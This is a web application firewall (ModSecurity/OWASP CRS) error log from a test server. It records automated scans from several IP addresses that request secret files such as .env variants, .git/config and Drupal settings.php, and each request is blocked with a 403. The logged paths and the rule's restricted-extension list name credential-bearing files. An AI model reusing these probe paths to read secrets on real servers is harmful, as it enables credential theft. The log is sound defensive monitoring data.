[Sat Nov 29 22:25:24.711508 2025] [:error] [pid 415624] [client 3.1.26.185:50620] [client 3.1.26.185] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aStkxJVxs3jrFZ5DBrmi9QAAACA&quot;]
[Sat Nov 29 22:25:24.711735 2025] [:error] [pid 415624] [client 3.1.26.185:50620] [client 3.1.26.185] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aStkxJVxs3jrFZ5DBrmi9QAAACA&quot;]
[Sat Nov 29 22:25:24.711909 2025] [:error] [pid 415624] [client 3.1.26.185:50620] [client 3.1.26.185] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.example&quot;] [unique_id &quot;aStkxJVxs3jrFZ5DBrmi9QAAACA&quot;]
[Sat Nov 29 23:21:15.773969 2025] [:error] [pid 415626] [client 93.123.109.7:57946] [client 93.123.109.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aStx2ygZ0_SbRmIZNqZiXAAAACI&quot;]
[Sat Nov 29 23:21:15.774248 2025] [:error] [pid 415626] [client 93.123.109.7:57946] [client 93.123.109.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aStx2ygZ0_SbRmIZNqZiXAAAACI&quot;]
[Sat Nov 29 23:21:15.774457 2025] [:error] [pid 415626] [client 93.123.109.7:57946] [client 93.123.109.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aStx2ygZ0_SbRmIZNqZiXAAAACI&quot;]
[Sun Nov 30 15:24:43.443262 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/sites/default/settings.php&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /sites/default/settings.php found within REQUEST_FILENAME: /sites/default/settings.php&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aSxTqy6tRBnriPIR7Vg5PAAAAAw&quot;]
[Sun Nov 30 15:24:43.443610 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aSxTqy6tRBnriPIR7Vg5PAAAAAw&quot;]
[Sun Nov 30 15:24:43.443887 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/sites/default/settings.php&quot;] [unique_id &quot;aSxTqy6tRBnriPIR7Vg5PAAAAAw&quot;]
[Sun Nov 30 15:24:43.668261 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aSxTqy6tRBnriPIR7Vg5PQAAAAw&quot;]
[Sun Nov 30 15:24:43.668437 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aSxTqy6tRBnriPIR7Vg5PQAAAAw&quot;]
[Sun Nov 30 15:24:43.668662 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aSxTqy6tRBnriPIR7Vg5PQAAAAw&quot;]
[Sun Nov 30 15:24:43.668852 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env.old&quot;] [unique_id &quot;aSxTqy6tRBnriPIR7Vg5PQAAAAw&quot;]
[Sun Nov 30 15:24:43.893188 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /plugins/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aSxTqy6tRBnriPIR7Vg5PgAAAAw&quot;]
[Sun Nov 30 15:24:43.893446 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aSxTqy6tRBnriPIR7Vg5PgAAAAw&quot;]
[Sun Nov 30 15:24:43.893661 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/plugins/.env.save&quot;] [unique_id &quot;aSxTqy6tRBnriPIR7Vg5PgAAAAw&quot;]
[Sun Nov 30 15:24:44.118303 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dist&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aSxTrC6tRBnriPIR7Vg5PwAAAAw&quot;]
[Sun Nov 30 15:24:44.118633 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aSxTrC6tRBnriPIR7Vg5PwAAAAw&quot;]
[Sun Nov 30 15:24:44.118929 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dist&quot;] [unique_id &quot;aSxTrC6tRBnriPIR7Vg5PwAAAAw&quot;]
[Sun Nov 30 15:24:44.568828 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.swp&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.swp&quot;] [unique_id &quot;aSxTrC6tRBnriPIR7Vg5QQAAAAw&quot;]
[Sun Nov 30 15:24:44.569159 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.swp&quot;] [unique_id &quot;aSxTrC6tRBnriPIR7Vg5QQAAAAw&quot;]
[Sun Nov 30 15:24:44.569376 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test.php.swp&quot;] [unique_id &quot;aSxTrC6tRBnriPIR7Vg5QQAAAAw&quot;]
[Sun Nov 30 15:24:44.794520 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /system/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aSxTrC6tRBnriPIR7Vg5QgAAAAw&quot;]
[Sun Nov 30 15:24:44.794802 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aSxTrC6tRBnriPIR7Vg5QgAAAAw&quot;]
[Sun Nov 30 15:24:44.795050 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/system/.env&quot;] [unique_id &quot;aSxTrC6tRBnriPIR7Vg5QgAAAAw&quot;]
[Sun Nov 30 15:24:45.244673 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aSxTrS6tRBnriPIR7Vg5RAAAAAw&quot;]
[Sun Nov 30 15:24:45.244845 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /config/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aSxTrS6tRBnriPIR7Vg5RAAAAAw&quot;]
[Sun Nov 30 15:24:45.245053 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aSxTrS6tRBnriPIR7Vg5RAAAAAw&quot;]
[Sun Nov 30 15:24:45.245269 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/config/.env.bak&quot;] [unique_id &quot;aSxTrS6tRBnriPIR7Vg5RAAAAAw&quot;]
[Sun Nov 30 15:24:45.920982 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /kubernetes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aSxTrS6tRBnriPIR7Vg5RwAAAAw&quot;]
[Sun Nov 30 15:24:45.921223 2025] [:error] [pid 421122] [client 18.228.238.136:54058] [client 18.228.238.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/kubernetes/.env&quot;] [unique_id &quot;aSxTrS6tRBnriPIR7Vg5RwAAAAw&quot;]
